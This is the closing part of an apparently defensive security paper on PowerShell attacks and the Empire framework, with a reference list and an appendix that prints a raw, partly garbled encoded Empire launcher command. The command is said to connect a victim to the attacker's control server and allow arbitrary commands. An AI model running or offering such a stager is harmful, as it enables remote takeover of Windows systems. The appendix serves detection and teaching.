Attackers will almost certainly continue to harness PowerShell due to the maximum flexibility and control it provides over Windows systems. As such, defenders will likely see PowerShell attacks more frequently, particularly as new techniques are developed and matured. As new techniques are developed, they will almost certainly be incorporated into the Empire framework. As the Empire framework continues to grow and mature, it will also grow in popularity, particularly amongst penetration testers and red teamers. That said, with Empire just as accessible to attackers as Metasploit, defenders can expect Empire stagers to be used to establish command and control in their networks. Therefore, defenders must be armed with additional skills and techniques in order to mitigate the risk and overall impact to their information systems.

References

- Adams, R. (2015, December 17). The Power and Implications of Enterprise Incident Response with PowerShell. Retrieved from <https://www.sans.org/reading-room/whitepapers/incident/power-implications-enabling-powershell-remoting-enterprise-36542>
- Andress, J., & Linn, R. (2011). *Coding for Penetration Testers: Building Better Tools*. S.I.: Elsevier monographs.
- Belcher, P. (2015, July 27). Just-in-Time Malware: Examining the Newest Advanced Evasion Techniques. Retrieved from <https://www.invincea.com/2015/07/just-in-time-malware-assembly-examining-the-newest-advanced-evasion-techniques/>
- Case, A., & Richard, G. G. (2017). Memory forensics: The path forward. *Digital Investigation*, 20, 23-33. doi:10.1016/j.diin.2016.12.004
- Dfirblog. (2015, September 27). Dissecting powershell attacks. Retrieved from <https://dfirblog.wordpress.com/2015/09/27/dissecting-powershell-attacks/>
- Dunwoody, M. (2017, April 3). Dissecting One of APT29's Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved from https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
- Dunwoody, M. (2016, February 11). Greater Visibility Through PowerShell Logging « Greater Visibility Through PowerShell Logging. Retrieved from https://www.fireeye.com/blog/threat-research/2016/02/greater_visibility.html
- Haselhorst, D. (2015, October 15). Uncovering Indicators of Compromise Using PowerShell. Retrieved from <https://www.sans.org/reading->

- room/whitepapers/critical/uncovering-indicators-compromise-ioc-powershell-event-logs-traditional-monitorin-36352
- Harmj0y. (2016, February 4). Nothing Lasts Forever: Persistence with Empire. Retrieved from <https://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/>
- Holmes, L. (2017, August 28). Revoke-Obfuscation: PowerShell Obfuscation Detection (And Evasion) Using Science [Video file]. Retrieved from <https://www.youtube.com/watch?v=x97ejtv56xw>
- Kazanciyan, R., & Hastings, M. (2014, August 7). Investigating PowerShell Attacks Black Hat USA 2014. Retrieved from <https://www.fireeye.com/content/dam/fireeye-www/global/en/solutions/pdfs/wp-lazanciyan-investigating-powershell-attacks.pdf>
- Kerr, D. (2015, October). There's Something About WMI. Retrieved from <https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf>
- Masters, G. (2016, October 20). APT group FruityArmor employs PowerShell to launch attacks, Kaspersky. Retrieved from <https://www.scmagazine.com/apt-group-fruityarmor-employs-powershell-to-launch-attacks-kaspersky/article/567320/>
- Patten, D. (2016). The Evolution to Fileless Malware. Retrieved from http://www.infosecwriters.com/Papers/DPatten_Fileless.pdf
- Schroeder, W., & Warner, J. (2015, August 6). *BG08 Building an Empire with PowerShell Will Schroeder Justin Warner* [Video file]. Retrieved from <https://www.youtube.com/watch?v=Pq9t59w0mUI>

Siby, S. (2014, April 14). Default TTL (Time To Live) Values of Different OS.

Retrieved January 21, 2018, from <https://subinsb.com/default-device-ttl-values/>

White, J. (2017, March 10). Pulling Back the Curtains on Encoded Command

PowerShell Attacks - Palo Alto Networks Blog. Retrieved from

[https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-](https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/)

[curtains-on-encodedcommand-powershell-attacks/](https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/)

Appendix A – Empire multi/launcher Stager

The image below shows the raw payload created when using the Empire multi/launcher stager. To deploy this payload, an attacker merely has to download the stager script and then copy and paste it into a terminal. The script will then execute, and connect to the Empire control server. The attacker will then be able to issue arbitrary commands and run Empire modules on the compromised system.

```
(Empire: stager/multi/launcher) > execute
powershell -noP -sta -w 1 -enc $QBmACGjABQBFMAVgBFaFIAUwBjAG8AbgBUAGEAYgBsAEUAlgBQAFMAVgBlAHIAUwBpAE8AbgAuAE0AQ0BgAG8AcgAgAC0ARwBFACAAmWpAHSJA
BHAFAAUwA9AFsAuGBFAEYAXQAUAEeAcwBzAGUATQB1AGwAWQAUAEcARQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBLAG4AdAAuAEEdQB0AG8AbQBhAHQAAQBV
AG4ALgBVAHQAaQB8AHMAJwApAC4AIgBHAEUADABGAeKARQBGAwEwARAA1ACGjAwBjAGEAYwBoAGUAZABHAIAbwB1AHAAUABvAGwAaQBJAHKAUwB1AHQADAbpAG4AZwBzACcALAAAE4AJwArAC
cAbwBuFAAdQB1AGwAaQBJACwAUwB0AGEADABpAGMAJwApAC4ARwBFAHQAVgBhAGwAVQBFACgAJAB0AHUATABMACkA0wBjJAGYAKAAKAEcAUABTAFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwA
bwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQARwB0AFMAWwAnAFMAyWByAgkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBBAcCARQBUAGEAYgBsAGUAlUwBjAHIAaQ
BwAHQAQgAnAcSAJwBsAG8AYwBrAEwAbwBnAGcAaQBUAGcAJwBdAD0MAA7ACQARwB0AFMAWwAnAFMAyWByAgkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBBAcCARQBU
AGEAYgBsAGUAlUwBjAHIAaQBUAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnAF0APQAwAH0ARQBMAHMAZQB7AFsAUwBDAAHIAISQBwAFQAQgBMAE8AQwBrAF
0ALgA1AEcARQB0AEYASQBLAGAATABKACIAKAAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsAcATgAnAcSAJwBvAG4AUAB1AGIAbABpAGMALABTAHQYQB0AGkAYwAnAcKALgBTAEUAdABWAGEA
TABVAEUAKAAKAG4AVQBMAgWALAAoAE4ARQBXC0ATwBCAGoARQBDFAQIABDAG8AbABMAGUAQwB0AGkAbwBuAHMALgBHAEUATgBFaHIAaQBDAc4ASABhAHMAaBTAGUAVABbAFMAAdABYAgkATg
BHAf0AKQApAH0AWwBSAGUARgBdAC4AQQBTAHMARQBNAEIAATAB5AC4ARwB1AHQAVAB5AHAAZQAOAcAUwB5AHMAAdABLAG0ALgBNAEGAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBTAGEAdABp
AG8AbgAuAEeABQBzAGKAVQ0B0AGkAbABzACcAKQB8AD8AEwAKAF8AF0B8ACUAewAKAF8ALgBHAEUAVABGAGkAZQBMAQAKAAAnAGEAbQBzAGKASQBwAGkAdABGAGEAaQBsAGUAZAAAnCwAJwB0AG
8AbgB0AHUAYgBsAGkAYwAsAFMAAbhAHQAaQBJACcAKQAUAFMARQB0UAFYQQ0BsAHUARQAoACQATgB1AEwATAAsACQAVABSAHUARQApAH0A0wB9ADsAwWBTAKAUwB0AEUATQAUe4ARQB0AC4A
UwBFaFIAAdgBpAEAMARQB0AE8AS0BUAHQATQBBAg4AY0BnAEUAGUgBdAD0A0gBFAHGUABFAEMVAAXADAAMABDAE8AbgB0AGkAbgBVAGUAPQAwADsAJAB3AEAMPOB0AGUAVwAtAE8AYgBKAGUAYw
BUACAAUwB5AHMAAdABFAG0ALgB0AEUAVAAuAFcAZQBCEAMAbABJAGUATgB0ADsAJAB1AD0AJwBNAG8AgBpAGwAbABhAC8ANQAUADAIAAoAFcAaQBUAGQAbwB3AHMAIAB0AFQAIAA2AC4AMQ7
ACAAVwBPAFCANgA0ADsAIBAUHIAaQBKAGUAbgB0AC8ANwAuADA0WAgAHIAAdgA6ADEAMQAUADAAKQAGwAaQBrAGUAIABHAGUAYwBrAG8AJw7ACQAdwBDAC4ASABLAGEAZABFAFIUwAuAE
EARABKAcgAJwBVAHMAZQBzAC0AQ0BnAGUAbgB0ACcALAAKAHUAKQ7ACQAVwBDAC4AUABYAE8AEAB5AD0AWwBTAFKcWBUAEUAbQAUAE4ARQB0AC4AVwBLAGIAUgBlAHAEAdQB1AFMAVABdAD0A
OgBEAGUARgBhAHUATABUAFcAZQB1AFAAUUGvBhAgWAWQ7ACQAdwBjAC4AUABS8E8AWBZAC4A0wBSAGUARABLAG4AdABJAGEAbABTACAAPQAQAFsAUwBZAFMAAdABFAE0ALgB0AEUAVAAuAEMAcg
BLAGARQB0AFQASQBBAgW0wBBAEMASABFAF0A0gA6AEQAZQBMAAGEAdQBsAHQATgB1AHQADwBvAFIASwBDAHIAARQBkAEUAbgB0AEkAYQBsAFMA0wAKAFMAyWByAgkAcAB0AD0AUABYAG8AEAB5
ACAAPQAgACQAdwBjAC4AUABYAG8AEAB5ADsAJABLAD0AWwBTAKKcBw0AEUAbQAUAFQAZQBFAFQALgBFAE4AYwBvAEQASQBwAGcAXQ0A6DoAQ0BTAEEMASQBjAC4ARwB1AFQ0QgB5AFQAZQBZAC
gAJwA6AHgAVwB7ADkAfQB+AGUAEQAYAEcAbwBwAD8AUwBRAHQAOAA+ACYAWgAJAF0AWwBMAHIAxwBNACUAagB6AC0AJwApADsAJABSD0AEwAKAEQALAAKAEsAPQAKAEeAgBnAHMA0wAKAFMA
PQAwAC4ALgAyADUANQ7ADAALgAuADIANQAIAHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABTAF0AKwAKAEsAWwAKAF8AJQAKAEsALgBDAE8ADQB0AFQAXQAPACUAMgA1ADYA0wAKAFMAWw
AKAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAKAFMAWwAKAF8AXQB9ADsAJABEhWjQJB7ACQASQ9ACgAJABJACsAMQAPACUAMgA1ADYA0wAKAEgAPQAOACQASAArACQAUwBb
ACQASQBdAcAJQAYADUANgA7ACQAUwBbACQASQBdAcwAJABTAFsAJABIAF0APQAKAFMAWwAKAEgAXQAsACQAUwBbACQASQBdADsAJABFAC0AYBYAG8AcgAKAFMAWwAoACQAUwBbACQASQBdAC
sAJABTAFsAJABIAF0AKQA1ADIANQA2AF0A0f0B9ADsAJABzAGUAcgA9ACcAaAB0AHQAcAA6AC8ALwAXADAALgAXADAALgA1AD0A0AAwACcA0wAKAHQAPQAnAC8AYQBkAG0AQ0BUC8A
ZwB1AHQALgBwAGgAcAAAnADsAJAB3AGMALgB1AGUAYQBEGAGUgBTAC4AQ0BkAGQAKAA1AEMAbwBvAGsAaQB1ACIALAA1AHMAZQBzAHMAaQBvAG4APQBxAEMAMgAXAFeAYwBYAgcAagB5AEgASw
AyAFYANQBTAUFUAVgBDAFCaEQBMAEEAVBFAG0AbwA9ACIAKQA7ACQARABhAFQAYQ9ACQAVwBDAC4ARABPAHcAbgBsAE8AQ0BEAEQAYQB0AEeAKAAKAHMAZQBzACsAJAB0ACKA0wAKAGkAVgA9
ACQAZABBAHQ0QBbADAALgAuADMAXQA7ACQARABBAHQAYQ9ACQARABBAFQAQ0QBbADQALgAuACQAZABhAFQAYQAUAGwARQBwAGcAdABIAF0A0wAtAEoATwBpAG4AWwBDAGgAYQB5AFsAXQBdAC
gAJgAgACQAUgAgACQARABhAFQAQAgACgAJABJAFYAKwAKAEsAKQAPAhwASQBFAFGA
(Empire: stager/multi/launcher) > █
```

Appendix A. Raw Empire Multi/Launcher Stager Script